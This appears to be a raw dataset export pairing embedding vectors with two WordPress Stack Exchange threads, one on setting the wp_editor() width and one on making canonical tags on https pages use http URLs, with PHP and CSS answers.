-0.046783447265625,
0.02587890625,
-0.0235595703125,
0.036407470703125,
0.0294952392578125,
-0.04461669921875,
-0.0273895263671875,
0.054412841796875,
0.03228759765625,
0.09259033203125,
0.01201629638671875,
-0.0211029052734375,
0.02325439453125,
0.004901885986328125,
-0.01345062255859375,
-0.0791015625,
0.01666259765625,
-0.0977783203125,
0.0021152496337890625,
-0.0006690025329589844,
0.0265045166015625,
0.0382080078125,
-0.0165252685546875,
-0.040740966796875,
0.0281829833984375,
-0.0017099380493164062,
-0.0257720947265625,
-0.01163482666015625,
-0.03369140625,
0.002166748046875,
0.0428466796875,
0.016082763671875,
-0.07452392578125,
-0.053863525390625,
0.01629638671875,
0.0131683349609375,
0.023773193359375,
0.036529541015625,
-0.0065155029296875,
-0.049560546875,
0.0036792755126953125,
-0.01311492919921875,
0.0279998779296875,
0.0020427703857421875,
-0.01203155517578125,
0.00315093994140625,
0.007617950439453125,
-0.04541015625,
-0.015838623046875,
-0.01522064208984375,
0.043609619140625,
-0.0233306884765625,
-0.056488037109375,
-0.007221221923828125,
0.0091552734375,
0.024932861328125,
0.051300048828125,
-0.006053924560546875,
-0.051300048828125,
0.03302001953125,
0.016998291015625,
-0.060943603515625,
-0.0157928466796875,
0.035736083984375,
-0.07257080078125,
-0.033660888671875,
0.01178741455078125,
-0.0244903564453125,
0.017913818359375,
-0.01806640625,
-0.040802001953125,
0.01371002197265625,
-0.0157318115234375,
-0.0111236572265625,
-0.02496337890625,
-0.027374267578125,
0.02044677734375,
-0.022491455078125,
-0.0171051025390625,
0.0032024383544921875,
0.020782470703125,
-0.0010852813720703125,
0.01983642578125,
-0.0013790130615234375,
-0.0127716064453125,
-0.006122589111328125,
0.035919189453125,
-0.0023937225341796875,
0.01110076904296875,
-0.02581787109375,
-0.008087158203125,
-0.00778961181640625,
0.0224456787109375,
-0.01308441162109375,
0.0174102783203125,
0.0182342529296875,
0.03863525390625,
-0.0030536651611328125,
0.06256103515625,
0.0032405853271484375,
0.0924072265625,
0.0162506103515625,
0.05279541015625,
-0.0157318115234375,
-0.032257080078125,
0.00434112548828125,
-0.054351806640625,
-0.0177459716796875,
0.0025310516357421875,
-0.00984954833984375,
-0.06402587890625,
0.035797119140625,
-0.0070037841796875,
0.0172119140625,
0.0274810791015625
] |
ee35aea439a753702226ac0fd334539b91e07dec
|
Wordpress Stackexchange
Q: How to set WYSIWYG editor width within wp_editor() function? This is my current code:
$initial_data = $this->options['my_plugin_editor'];
$settings = array(
'quicktags' => array('buttons' => 'em,strong,link',),
'quicktags' => true,
'tinymce' => true,
'textarea_rows' => 20,
);
$id = 'my_plugin_editor_options[my_plugin_editor]';
wp_editor($initial_data,$id,$settings);
The problem is I am unable to set the width of the editor. I can set the height 'textarea_rows' => 20, but I am not aware of a way how to set the width(cols).
If I am using a standard textarea without an editor, this is working well cols="120"
How to set cols in wp_editor function?
A: $settings = array(
'tinymce' => array(
'width' => 200
)
);
Gives you a tinymce that is 200px wide. Found it here: http://www.tinymce.com/wiki.php/Configuration
When I tried it the background color of my tinymce changed. So maybe you have to tweak that.
|
Q: How to set WYSIWYG editor width within wp_editor() function? This is my current code:
$initial_data = $this->options['my_plugin_editor'];
$settings = array(
'quicktags' => array('buttons' => 'em,strong,link',),
'quicktags' => true,
'tinymce' => true,
'textarea_rows' => 20,
);
$id = 'my_plugin_editor_options[my_plugin_editor]';
wp_editor($initial_data,$id,$settings);
The problem is I am unable to set the width of the editor. I can set the height 'textarea_rows' => 20, but I am not aware of a way how to set the width(cols).
If I am using a standard textarea without an editor, this is working well cols="120"
How to set cols in wp_editor function?
A: $settings = array(
'tinymce' => array(
'width' => 200
)
);
Gives you a tinymce that is 200px wide. Found it here: http://www.tinymce.com/wiki.php/Configuration
When I tried it the background color of my tinymce changed. So maybe you have to tweak that.
A: OK, here's what I just did that works well:
echo "<div style='width:75%;'>";
wp_editor( $content, 'myid', $settings );
echo "</div>";
A: There are two parameters that you can use to change the size of the text editor generated with wp_editor(), here there are:
$settings = array(
'editor_height' => 425, // In pixels, takes precedence and has no default value
'textarea_rows' => 20, // Has no visible effect if editor_height is set, default is 20
);
*
*If editor_height is provided, its raw value will be used
*Otherwise textarea_rows (or it's default value of 20) will be used to calculate the matching height in pixels
Good to know:
Here are a few examples of the result of the conversion from textarea_rows to pixels (this is done on the client side):
*
*0 to 3 => 100
*4 => 113
*5 => 133
*10 => 230
*15 => 328
*20 => 425
*...
A: I'm not sure if you even can set the cols"number" in the array.
But one way to achieve what you want, would be by adding a class to your wp_editor.
$settings = array(
'quicktags' => array('buttons' => 'em,strong,link',),
'quicktags' => true,
'tinymce' => true,
'textarea_rows' => 20,
'classes' => 'yourclass',
);
or when you're calling the wp_editor:
<?php wp_editor( $content, $editor_id, $settings = array('editor_class'=>'yourclass') ); ?>
Then just set width in css:
.yourclass {
width: 400px !important; //add !important if your style is being overriden
}
|
wordpress
|
{
"language": "en",
"length": 376,
"provenance": "stackexchange_00019.jsonl.gz:436537",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112441"
}
|
[
-0.060943603515625,
-0.028533935546875,
-0.06597900390625,
0.048004150390625,
-0.03387451171875,
-0.03521728515625,
0.01136016845703125,
0.00939178466796875,
-0.00514984130859375,
0.048675537109375,
-0.01160430908203125,
0.00006151199340820312,
-0.037139892578125,
-0.0107269287109375,
-0.040618896484375,
-0.0279388427734375,
0.030303955078125,
-0.038543701171875,
-0.00689697265625,
-0.0103759765625,
0.028961181640625,
0.01383209228515625,
-0.00370025634765625,
0.0194854736328125,
0.0296173095703125,
-0.0428466796875,
0.0958251953125,
-0.0278778076171875,
0.0285186767578125,
-0.0233154296875,
0.019378662109375,
0.001796722412109375,
0.0262298583984375,
0.048309326171875,
-0.06903076171875,
0.01369476318359375,
-0.0002052783966064453,
0.0088958740234375,
-0.0166168212890625,
0.037078857421875,
0.033660888671875,
0.0007266998291015625,
-0.0031223297119140625,
0.00862884521484375,
-0.007904052734375,
-0.08245849609375,
0.081298828125,
-0.03973388671875,
0.00881195068359375,
-0.03131103515625,
-0.00658416748046875,
0.052734375,
0.0252685546875,
-0.04693603515625,
-0.00742340087890625,
0.0012388229370117188,
-0.061370849609375,
0.0028591156005859375,
0.00891876220703125,
0.0231781005859375,
0.037567138671875,
-0.0020771026611328125,
-0.00588226318359375,
0.0227203369140625,
-0.0174560546875,
-0.005931854248046875,
-0.01447296142578125,
0.0128173828125,
0.0173187255859375,
-0.017608642578125,
-0.013031005859375,
-0.003398895263671875,
0.0227813720703125,
-0.0623779296875,
0.01207733154296875,
0.0694580078125,
-0.0290679931640625,
0.0099029541015625,
0.0221710205078125,
-0.037445068359375,
-0.0113525390625,
-0.01123046875,
-0.019866943359375,
-0.032440185546875,
0.033721923828125,
0.0227508544921875,
-0.0195465087890625,
-0.0160675048828125,
-0.01071929931640625,
0.0012197494506835938,
-0.0160675048828125,
-0.033538818359375,
-0.01119232177734375,
0.0175933837890625,
0.0024814605712890625,
-0.048370361328125,
0.0172576904296875,
-0.01397705078125,
-0.007579803466796875,
0.0065155029296875,
0.050018310546875,
-0.0716552734375,
0.079345703125,
-0.0182647705078125,
0.009796142578125,
0.0076446533203125,
-0.01174163818359375,
0.0195465087890625,
0.053558349609375,
0.03302001953125,
0.004634857177734375,
0.04620361328125,
-0.0240936279296875,
-0.007022857666015625,
-0.0180816650390625,
-0.005008697509765625,
-0.04180908203125,
0.0015096664428710938,
-0.021697998046875,
-0.0066375732421875,
-0.0201416015625,
-0.007350921630859375,
0.026519775390625,
-0.005451202392578125,
-0.0036678314208984375,
-0.007572174072265625,
0.00661468505859375,
-0.0182342529296875,
0.002044677734375,
0.02923583984375,
-0.045074462890625,
0.0009293556213378906,
0.06707763671875,
0.037261962890625,
0.02996826171875,
-0.02947998046875,
0.01508331298828125,
-0.018280029296875,
-0.02001953125,
0.0292510986328125,
-0.035125732421875,
0.0017004013061523438,
0.039520263671875,
-0.045440673828125,
-0.034912109375,
0.03216552734375,
0.033294677734375,
-0.00199127197265625,
-0.037445068359375,
-0.08807373046875,
0.015594482421875,
-0.01197052001953125,
0.0303192138671875,
0.053497314453125,
-0.0240631103515625,
0.00827789306640625,
0.07965087890625,
-0.034454345703125,
-0.048980712890625,
-0.052978515625,
0.00948333740234375,
0.0228424072265625,
0.0782470703125,
-0.0498046875,
-0.0120697021484375,
-0.058563232421875,
-0.08770751953125,
-0.00853729248046875,
0.0308380126953125,
0.0035839080810546875,
0.00946807861328125,
0.035919189453125,
0.057373046875,
0.010223388671875,
-0.005458831787109375,
-0.0202789306640625,
-0.01195526123046875,
-0.0024089813232421875,
0.042633056640625,
0.01287078857421875,
-0.01922607421875,
-0.03582763671875,
0.048065185546875,
-0.0085906982421875,
0.0013589859008789062,
-0.01105499267578125,
-0.0092315673828125,
0.01087188720703125,
-0.001804351806640625,
0.03204345703125,
-0.04827880859375,
0.0021533966064453125,
0.0248260498046875,
-0.021697998046875,
0.012542724609375,
-0.00859832763671875,
-0.036163330078125,
0.00434112548828125,
-0.0108795166015625,
-0.024261474609375,
0.053619384765625,
-0.032470703125,
0.0221710205078125,
-0.045806884765625,
-0.0958251953125,
0.0081024169921875,
-0.03546142578125,
0.044647216796875,
0.0013561248779296875,
-0.005207061767578125,
-0.00283050537109375,
-0.021820068359375,
0.015106201171875,
-0.03662109375,
-0.0217742919921875,
0.055999755859375,
0.006557464599609375,
0.04522705078125,
0.0208740234375,
0.02490234375,
0.052215576171875,
-0.0094146728515625,
0.054168701171875,
0.02191162109375,
0.0132904052734375,
-0.055328369140625,
-0.004993438720703125,
-0.037750244140625,
0.0200958251953125,
-0.048919677734375,
0.0537109375,
0.062744140625,
0.0299072265625,
0.04931640625,
-0.024627685546875,
-0.0162811279296875,
-0.01297760009765625,
-0.038116455078125,
0.017822265625,
0.033111572265625,
0.0401611328125,
0.0018758773803710938,
-0.0260162353515625,
-0.001537322998046875,
0.051239013671875,
0.00685882568359375,
0.014617919921875,
-0.0158843994140625,
0.0279998779296875,
0.0290374755859375,
0.00937652587890625,
-0.046356201171875,
0.0267181396484375,
-0.0164947509765625,
0.028472900390625,
0.0127105712890625,
0.0067596435546875,
0.01910400390625,
0.038421630859375,
0.00937652587890625,
-0.020843505859375,
0.011749267578125,
0.0293426513671875,
-0.0225677490234375,
0.00225067138671875,
0.0380859375,
0.021759033203125,
0.039642333984375,
-0.031341552734375,
0.04266357421875,
0.01065826416015625,
-0.0013952255249023438,
0.0020084381103515625,
0.0217132568359375,
-0.020904541015625,
-0.042510986328125,
-0.04193115234375,
0.0194244384765625,
0.00936126708984375,
-0.00786590576171875,
-0.0200958251953125,
0.0249481201171875,
-0.03076171875,
-0.0074005126953125,
-0.019989013671875,
-0.069580078125,
0.0051116943359375,
0.0005168914794921875,
0.04473876953125,
0.00225830078125,
0.0070648193359375,
0.0267333984375,
-0.0233612060546875,
0.0704345703125,
-0.00150299072265625,
-0.0245513916015625,
0.0938720703125,
-0.0158538818359375,
0.0379638671875,
0.0184478759765625,
0.076171875,
0.055755615234375,
-0.0133209228515625,
0.0090484619140625,
-0.004852294921875,
0.00502777099609375,
-0.034515380859375,
0.01471710205078125,
-0.0047454833984375,
0.0016231536865234375,
-0.059478759765625,
0.036468505859375,
0.0176849365234375,
0.0292510986328125,
-0.024566650390625,
-0.042236328125,
-0.0214385986328125,
0.03521728515625,
-0.028106689453125,
0.0404052734375,
-0.01739501953125,
-0.12261962890625,
-0.007671356201171875,
-0.035797119140625,
-0.06573486328125,
0.01320648193359375,
0.009246826171875,
0.01555633544921875,
-0.01052093505859375,
-0.01715087890625,
-0.033050537109375,
-0.015167236328125,
-0.04718017578125,
0.01450347900390625,
0.0024662017822265625,
0.0033473968505859375,
0.0176544189453125,
0.034027099609375,
0.0168304443359375,
-0.042510986328125,
0.0206756591796875,
-0.0113983154296875,
-0.0260162353515625,
0.0159912109375,
0.043365478515625,
-0.02105712890625,
-0.036895751953125,
0.021759033203125,
0.01995849609375,
0.0223388671875,
-0.044952392578125,
-0.0183868408203125,
-0.003932952880859375,
0.005157470703125,
0.0276947021484375,
0.001796722412109375,
-0.017822265625,
-0.01161956787109375,
0.017730712890625,
-0.050262451171875,
-0.01102447509765625,
0.00803375244140625,
-0.02618408203125,
0.0270843505859375,
-0.0140838623046875,
0.0011873245239257812,
0.020904541015625,
0.0195770263671875,
-0.0166015625,
0.033721923828125,
0.0271148681640625,
-0.035552978515625,
0.0213775634765625,
-0.00815582275390625,
-0.029083251953125,
-0.007785797119140625,
-0.0184478759765625,
-0.0297393798828125,
0.022796630859375,
-0.03192138671875,
-0.01517486572265625,
-0.0288848876953125,
0.0343017578125,
-0.008880615234375,
-0.01531219482421875,
0.03802490234375,
-0.008056640625,
0.0225830078125,
-0.022247314453125,
-0.0134124755859375,
-0.0150146484375,
0.056396484375,
-0.0487060546875,
-0.0177154541015625,
0.0271759033203125,
0.035430908203125,
-0.06341552734375,
-0.04779052734375,
-0.043304443359375,
-0.00441741943359375,
-0.0928955078125,
0.0225677490234375,
-0.0067138671875,
-0.0299072265625,
-0.0276336669921875,
0.0721435546875,
-0.054962158203125,
-0.0302734375,
0.019134521484375,
0.0308990478515625,
-0.031158447265625,
0.026397705078125,
-0.02130126953125,
0.01425933837890625,
0.00934600830078125,
-0.007251739501953125,
-0.1041259765625,
-0.022705078125,
-0.0187225341796875,
0.0986328125,
0.0016298294067382812,
0.0102691650390625,
-0.039947509765625,
0.061279296875,
-0.0096435546875,
0.006839752197265625,
0.0272369384765625,
0.04693603515625,
-0.0277862548828125,
-0.0430908203125,
-0.006977081298828125,
-0.05078125,
0.0186920166015625,
-0.01139068603515625,
-0.044036865234375,
-0.0147705078125,
-0.045501708984375,
-0.0280914306640625,
0.00852203369140625,
-0.032867431640625,
-0.0292816162109375,
-0.0179443359375,
-0.02069091796875,
0.0295867919921875,
-0.027923583984375,
0.024383544921875,
-0.0289154052734375,
-0.04498291015625,
0.06512451171875,
0.0285186767578125,
0.0005550384521484375,
-0.018280029296875,
0.06488037109375,
0.002285003662109375,
-0.039306640625,
0.01947021484375,
-0.0234375,
0.045867919921875,
0.0400390625,
-0.0142059326171875,
-0.0009899139404296875,
-0.037353515625,
0.04278564453125,
0.045867919921875,
0.0377197265625,
-0.056915283203125,
0.0677490234375,
-0.01312255859375,
-0.0082550048828125,
0.037078857421875,
-0.01422119140625,
0.0007462501525878906,
-0.0019197463989257812,
-0.0034160614013671875,
0.01702880859375,
0.018585205078125,
0.018341064453125,
0.0184783935546875,
-0.02099609375,
-0.032501220703125,
-0.029998779296875,
0.002170562744140625,
0.0160369873046875,
0.032379150390625,
0.01203155517578125,
-0.002899169921875,
0.0036716461181640625,
0.0014514923095703125,
-0.0238494873046875,
0.01517486572265625,
-0.0197601318359375,
0.031890869140625,
-0.0016326904296875,
0.038818359375,
0.0014801025390625,
-0.00567626953125,
0.0033245086669921875,
-0.00018274784088134766,
0.012237548828125,
-0.01467132568359375,
-0.040740966796875,
0.0200042724609375,
0.0316162109375,
-0.0131072998046875,
-0.00888824462890625,
0.045562744140625,
0.034393310546875,
-0.031646728515625,
0.004425048828125,
0.00261688232421875,
-0.02178955078125,
-0.04351806640625,
0.0199432373046875,
-0.006710052490234375,
-0.007396697998046875,
0.019989013671875,
0.034576416015625,
0.0244140625,
0.0103912353515625,
-0.0227203369140625,
0.026123046875,
0.01529693603515625,
0.0261688232421875,
0.0126953125,
0.0208282470703125,
-0.03277587890625,
0.0244293212890625,
-0.030975341796875,
-0.0272979736328125,
0.00002956390380859375,
0.006084442138671875,
0.020721435546875,
0.01354217529296875,
-0.0215301513671875,
0.0263519287109375,
-0.0218048095703125,
0.0178985595703125,
-0.00726318359375,
-0.04931640625,
-0.060699462890625,
0.0227813720703125,
0.07073974609375,
0.017730712890625,
-0.031707763671875,
-0.005794525146484375,
-0.0019474029541015625,
-0.04791259765625,
0.0024623870849609375,
0.012908935546875,
-0.016998291015625,
-0.00785064697265625,
-0.0238189697265625,
-0.005184173583984375,
-0.007781982421875,
-0.04840087890625,
-0.04998779296875,
-0.0614013671875,
0.0225372314453125,
0.00905609130859375,
0.01395416259765625,
-0.0168609619140625,
0.0118560791015625,
-0.0250396728515625,
0.00821685791015625,
-0.04620361328125,
0.00843048095703125,
0.0175018310546875,
0.0018901824951171875,
0.01415252685546875,
-0.026702880859375,
-0.036651611328125,
-0.027130126953125,
-0.0015516281127929688,
-0.0252838134765625,
-0.00818634033203125,
-0.034881591796875,
0.0135040283203125,
0.0100860595703125,
0.0213623046875,
-0.0295867919921875,
-0.044708251953125,
0.007038116455078125,
0.0325927734375,
-0.00536346435546875,
-0.018829345703125,
0.0158843994140625,
-0.01107025146484375,
0.049041748046875,
-0.02203369140625,
-0.032379150390625,
-0.01438140869140625,
-0.01036834716796875,
0.0177459716796875,
0.0044708251953125,
-0.0123291015625,
0.0158538818359375,
-0.03033447265625,
-0.03778076171875,
0.0095062255859375,
-0.01384735107421875,
0.0017194747924804688,
-0.021270751953125,
-0.00829315185546875,
-0.0177459716796875,
0.051849365234375,
-0.0117645263671875,
0.016815185546875,
0.0149993896484375,
-0.025115966796875,
0.0172882080078125,
-0.01094818115234375,
0.003162384033203125,
0.01313018798828125,
-0.01493072509765625,
0.01514434814453125,
0.0189056396484375,
-0.01824951171875,
0.0105438232421875,
0.05560302734375,
-0.0092926025390625,
0.032684326171875,
0.0130157470703125,
-0.0113372802734375,
0.02569580078125,
0.0100250244140625,
-0.029571533203125,
0.0179901123046875,
0.012481689453125,
0.00015866756439208984,
0.0171966552734375,
0.017242431640625,
0.0015888214111328125,
0.0207061767578125,
0.0171966552734375,
0.04864501953125,
-0.053802490234375,
0.0252685546875,
0.0188751220703125,
-0.0218353271484375,
0.05914306640625,
-0.0200958251953125,
-0.00449371337890625,
-0.016143798828125,
0.082763671875,
-0.0060882568359375,
-0.004367828369140625,
0.0477294921875,
0.0010890960693359375,
0.0082550048828125,
-0.032684326171875,
0.05218505859375,
0.0044708251953125,
-0.0179901123046875,
0.0224151611328125,
0.01129150390625,
0.037017822265625,
0.0259246826171875,
0.042388916015625,
-0.03692626953125,
-0.0014448165893554688,
0.006580352783203125,
0.00566864013671875,
-0.0032367706298828125,
-0.0396728515625,
0.0255584716796875,
-0.005519866943359375,
-0.038665771484375,
0.033538818359375,
-0.04840087890625,
0.04876708984375,
0.011932373046875,
-0.031280517578125,
0.0301971435546875,
0.0002142190933227539,
0.00930023193359375,
0.0115203857421875,
-0.0297698974609375,
-0.0002532005310058594,
0.004985809326171875,
0.00688934326171875,
-0.0017919540405273438,
0.020050048828125,
0.0576171875,
-0.04278564453125,
-0.01476287841796875,
0.040008544921875,
0.0142059326171875,
-0.0116119384765625,
-0.034149169921875,
-0.042510986328125,
-0.061187744140625,
-0.02203369140625,
-0.0447998046875,
-0.05670166015625,
0.03656005859375,
-0.061248779296875,
-0.0364990234375,
0.06695556640625,
0.004474639892578125,
-0.01473236083984375,
-0.0034275054931640625,
0.04473876953125,
-0.0523681640625,
0.01450347900390625,
0.018035888671875,
0.02032470703125,
0.0035152435302734375,
-0.030303955078125,
-0.018890380859375,
-0.00815582275390625,
-0.006847381591796875,
0.061920166015625,
0.031951904296875,
-0.01342010498046875,
0.015533447265625,
-0.007965087890625,
0.05743408203125,
0.048583984375,
-0.002872467041015625,
-0.0071258544921875,
0.026153564453125,
-0.047149658203125,
0.0123443603515625,
0.0219573974609375,
0.03717041015625,
-0.053314208984375,
-0.003131866455078125,
0.0274810791015625,
0.0140380859375,
0.00293731689453125,
0.02301025390625,
0.0119476318359375,
-0.005176544189453125,
0.0087890625,
0.021484375,
-0.0732421875,
-0.00031828880310058594,
0.030853271484375,
0.03143310546875,
-0.0604248046875,
-0.0294342041015625,
-0.0268402099609375,
0.03759765625,
0.0037822723388671875,
-0.039581298828125,
-0.034271240234375,
-0.0149993896484375,
0.07940673828125,
-0.021240234375,
-0.044189453125,
0.03759765625,
0.0252685546875,
0.0004935264587402344,
-0.01055908203125,
0.002574920654296875,
-0.0199432373046875,
0.0024261474609375,
0.012481689453125,
-0.00213623046875,
-0.01528167724609375,
-0.024200439453125,
0.002262115478515625,
-0.0012941360473632812,
-0.00870513916015625,
-0.025482177734375,
-0.0261383056640625,
-0.0005407333374023438,
0.06427001953125,
0.01422119140625,
-0.019622802734375,
-0.004180908203125,
0.016265869140625,
0.01032257080078125,
0.0048065185546875,
0.01552581787109375,
-0.01068878173828125,
-0.058074951171875,
-0.00827789306640625,
0.0309600830078125,
0.053009033203125,
0.024627685546875,
0.0546875,
0.044097900390625,
-0.027435302734375,
-0.020660400390625,
-0.006916046142578125,
0.01788330078125,
0.00893402099609375,
-0.009246826171875,
0.0198974609375,
0.0081329345703125,
0.045318603515625,
0.017822265625,
-0.0148468017578125,
0.023895263671875,
-0.00982666015625,
-0.05364990234375,
-0.0077972412109375,
-0.021942138671875,
-0.028167724609375,
-0.0124053955078125,
-0.04205322265625,
0.0091705322265625,
0.0284271240234375,
0.003025054931640625,
0.006427764892578125,
-0.006832122802734375,
0.045867919921875,
-0.0058441162109375,
0.0176849365234375,
0.0084686279296875,
0.00299835205078125,
-0.0023365020751953125,
-0.00047278404235839844,
-0.020050048828125,
0.0225982666015625,
-0.0693359375,
0.00798797607421875,
-0.03753662109375,
-0.01415252685546875,
0.015045166015625,
0.0203857421875,
-0.0151214599609375,
0.04315185546875,
-0.0285491943359375,
-0.03887939453125,
0.0252532958984375,
-0.006793975830078125,
0.045166015625,
0.01023101806640625,
-0.032989501953125,
-0.0117034912109375,
-0.0243377685546875,
-0.033538818359375,
-0.031280517578125,
0.05792236328125,
0.0246124267578125,
0.0682373046875,
-0.0299530029296875,
0.0399169921875,
0.0242919921875,
0.0006208419799804688,
0.024139404296875,
-0.0128326416015625,
0.050506591796875,
0.006927490234375,
0.0007700920104980469,
-0.0292205810546875,
0.00664520263671875,
0.02996826171875,
0.022552490234375,
-0.025787353515625,
0.003917694091796875,
-0.01468658447265625,
0.01244354248046875,
0.0038890838623046875,
0.010040283203125,
-0.015838623046875,
-0.0235137939453125,
-0.027984619140625,
-0.00675201416015625,
0.01438140869140625,
-0.0048828125,
-0.0160980224609375,
0.03619384765625,
0.0374755859375,
0.01277923583984375,
0.02459716796875,
-0.02423095703125,
0.041351318359375,
0.028656005859375,
0.004764556884765625,
-0.047149658203125,
0.026336669921875,
0.00843048095703125,
-0.0240936279296875,
0.036773681640625,
0.032806396484375,
0.00742340087890625,
-0.02783203125,
0.1041259765625,
0.034698486328125,
0.06396484375,
-0.040863037109375,
0.007038116455078125,
0.08123779296875,
0.0372314453125,
-0.012298583984375,
-0.01496124267578125,
-0.0271148681640625,
0.0005993843078613281,
0.0025501251220703125,
0.0088958740234375,
0.03302001953125,
-0.043792724609375,
-0.026885986328125,
-0.029296875,
0.0037746429443359375,
0.0065155029296875,
-0.0252227783203125,
0.0164947509765625,
-0.01050567626953125,
-0.0059051513671875,
0.0028209686279296875,
0.0012483596801757812,
-0.00710296630859375,
0.0160064697265625,
-0.044647216796875,
-0.0286102294921875,
-0.032257080078125,
0.0293731689453125,
-0.033355712890625,
0.015960693359375,
0.05572509765625,
-0.025604248046875,
-0.03790283203125,
0.002044677734375,
0.023773193359375,
0.032501220703125,
-0.0267791748046875,
0.0024852752685546875,
0.0802001953125,
-0.010772705078125,
-0.035400390625,
-0.110595703125,
-0.049224853515625,
-0.046142578125,
0.07574462890625,
0.0065765380859375,
-0.027557373046875,
-0.028228759765625,
-0.072021484375,
-0.07574462890625,
0.01532745361328125,
0.007671356201171875,
-0.035736083984375,
0.036865234375,
-0.030670166015625,
-0.0015773773193359375,
-0.0106964111328125,
0.01197052001953125,
-0.00148773193359375,
-0.002086639404296875,
-0.0104522705078125,
0.00908660888671875,
0.040374755859375,
0.0157318115234375,
-0.0305023193359375,
-0.03857421875,
0.012237548828125,
0.00536346435546875,
0.02459716796875,
-0.00913238525390625,
0.0212554931640625,
-0.0026302337646484375,
0.044525146484375,
-0.00010949373245239258,
-0.04547119140625,
0.0036716461181640625,
-0.080322265625,
-0.0239715576171875,
-0.04388427734375,
0.007648468017578125,
0.004367828369140625,
0.06939697265625,
0.029541015625,
0.0081634521484375,
-0.044097900390625,
-0.0235443115234375,
0.0124053955078125,
-0.01316070556640625,
0.011383056640625,
0.023651123046875,
-0.048797607421875,
-0.00789642333984375,
-0.0020160675048828125,
-0.017791748046875,
0.016937255859375,
-0.004138946533203125,
-0.003742218017578125,
-0.00446319580078125,
0.0229644775390625,
-0.0217742919921875,
-0.0024852752685546875,
-0.000213623046875,
0.0565185546875,
-0.036346435546875,
-0.01052093505859375,
0.0195159912109375,
-0.0020160675048828125,
0.00975799560546875,
0.04388427734375,
-0.05615234375,
-0.00020992755889892578,
-0.036895751953125,
0.021240234375,
-0.0390625,
0.06695556640625,
-0.062255859375,
0.025482177734375,
-0.01360321044921875,
-0.0218963623046875,
-0.0004811286926269531,
-0.035186767578125,
0.006519317626953125,
-0.0452880859375,
-0.0241546630859375,
0.0208587646484375,
-0.01168060302734375,
0.007160186767578125,
-0.0253448486328125,
0.0273284912109375,
-0.0007300376892089844,
-0.00555419921875,
0.00005441904067993164,
-0.007228851318359375,
0.01264190673828125,
0.054656982421875,
0.0252838134765625,
-0.018798828125,
0.0472412109375,
0.00762939453125,
0.03009033203125,
0.002593994140625
] |
4cdce9ab916e01ea7b68f19014e7fdca5a5ec6d0
|
Wordpress Stackexchange
Q: force http canonical tag on https pages At present all https pages have their own canonical tags referencing https, which is incorrect, they should be referencing the http versions.
e.g:
https://www.example.com
has the following canonical tag:
<link rel='canonical' href='https://www.example.com' />
How can we make the canonical tags on https pages use the http URLs?
A: You can change it using following code, add it in your theme function.php or in plugin.
remove_action ( 'wp_head' , 'rel_canonical' ) ;
add_action ( 'wp_head' , 'my_rel_canonical' ) ;
function my_rel_canonical () {
ob_start () ;
rel_canonical () ;
$rel_content = ob_get_contents () ;
ob_end_clean () ;
echo str_replace ( "https:" , "http:" , $rel_content ) ;
}
|
Q: force http canonical tag on https pages At present all https pages have their own canonical tags referencing https, which is incorrect, they should be referencing the http versions.
e.g:
https://www.example.com
has the following canonical tag:
<link rel='canonical' href='https://www.example.com' />
How can we make the canonical tags on https pages use the http URLs?
A: You can change it using following code, add it in your theme function.php or in plugin.
remove_action ( 'wp_head' , 'rel_canonical' ) ;
add_action ( 'wp_head' , 'my_rel_canonical' ) ;
function my_rel_canonical () {
ob_start () ;
rel_canonical () ;
$rel_content = ob_get_contents () ;
ob_end_clean () ;
echo str_replace ( "https:" , "http:" , $rel_content ) ;
}
A: Do you plan to use the canonical to avoid duplicate content in Google? I believe it's a wrong approach. You should eliminate the duplicate content by 301-redirecting pages to the proper scheme, either SSL or non-SSL, depending on the content (checkout, login, admin). And not using the canonical.
Edit: did I just repeat what you said earlier?
https://webmasters.stackexchange.com/a/49852
A: The way https is implemented is correct. If you force http upon https, your clients will see a warning stating the site has unsecure content. Yet if you want to do it, there are 2 ways:
*
*Using Apache's mod_rewrite to rewrite all HTTPS URLS to HTTP as mentioned here.
*Using a custom filter in wordpress to change all URLS on the fly.
function custom_force_http( $force_http, $post_id = 0, $url = '' ) {
return str_replace ( "https:" , "http:" , $force_http) ;
}
add_filter('force_http' , 'custom_force_http', 10, 3);
|
wordpress
|
{
"language": "en",
"length": 264,
"provenance": "stackexchange_00019.jsonl.gz:436564",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112524"
}
|
[
0.026214599609375,
0.006866455078125,
-0.0219268798828125,
-0.027435302734375,
0.0239715576171875,
-0.025848388671875,
0.04815673828125,
-0.015380859375,
0.0185394287109375,
0.0015583038330078125,
0.0272064208984375,
-0.0268707275390625,
0.021728515625,
-0.060516357421875,
0.0168914794921875,
-0.0015840530395507812,
0.0232696533203125,
-0.00112152099609375,
0.00722503662109375,
-0.01389312744140625,
0.007389068603515625,
0.00839996337890625,
0.01232147216796875,
0.0224609375,
0.038604736328125,
-0.06341552734375,
0.09368896484375,
-0.0158843994140625,
0.004962921142578125,
-0.042510986328125,
0.02093505859375,
0.01039886474609375,
0.019500732421875,
0.0391845703125,
-0.06976318359375,
-0.061248779296875,
0.01446533203125,
0.0017061233520507812,
-0.03240966796875,
0.045074462890625,
0.028656005859375,
-0.0116119384765625,
0.07415771484375,
0.0036144256591796875,
0.036895751953125,
0.0024280548095703125,
0.0213775634765625,
-0.07061767578125,
-0.0174713134765625,
0.0511474609375,
0.0182342529296875,
0.007175445556640625,
0.0201416015625,
-0.039031982421875,
-0.0190582275390625,
-0.049560546875,
-0.025146484375,
0.028411865234375,
0.01641845703125,
-0.000046312808990478516,
-0.00811767578125,
0.01503753662109375,
-0.007595062255859375,
-0.0018072128295898438,
-0.0030841827392578125,
-0.01499176025390625,
0.041473388671875,
0.017486572265625,
-0.03973388671875,
-0.017547607421875,
0.0277252197265625,
-0.005573272705078125,
-0.01355743408203125,
-0.0129241943359375,
0.0224456787109375,
0.007526397705078125,
-0.017181396484375,
0.0164642333984375,
0.00506591796875,
0.0306549072265625,
0.035736083984375,
-0.0087432861328125,
0.01380157470703125,
-0.01471710205078125,
-0.0166168212890625,
-0.02099609375,
0.006092071533203125,
-0.010772705078125,
-0.026947021484375,
0.007297515869140625,
-0.0265960693359375,
0.0224151611328125,
-0.002391815185546875,
-0.0177154541015625,
-0.03271484375,
-0.00777435302734375,
0.0212554931640625,
0.0222625732421875,
0.02435302734375,
0.012176513671875,
0.003177642822265625,
-0.043731689453125,
0.0194091796875,
-0.03277587890625,
-0.0012674331665039062,
0.0855712890625,
0.0125885009765625,
0.054229736328125,
0.042327880859375,
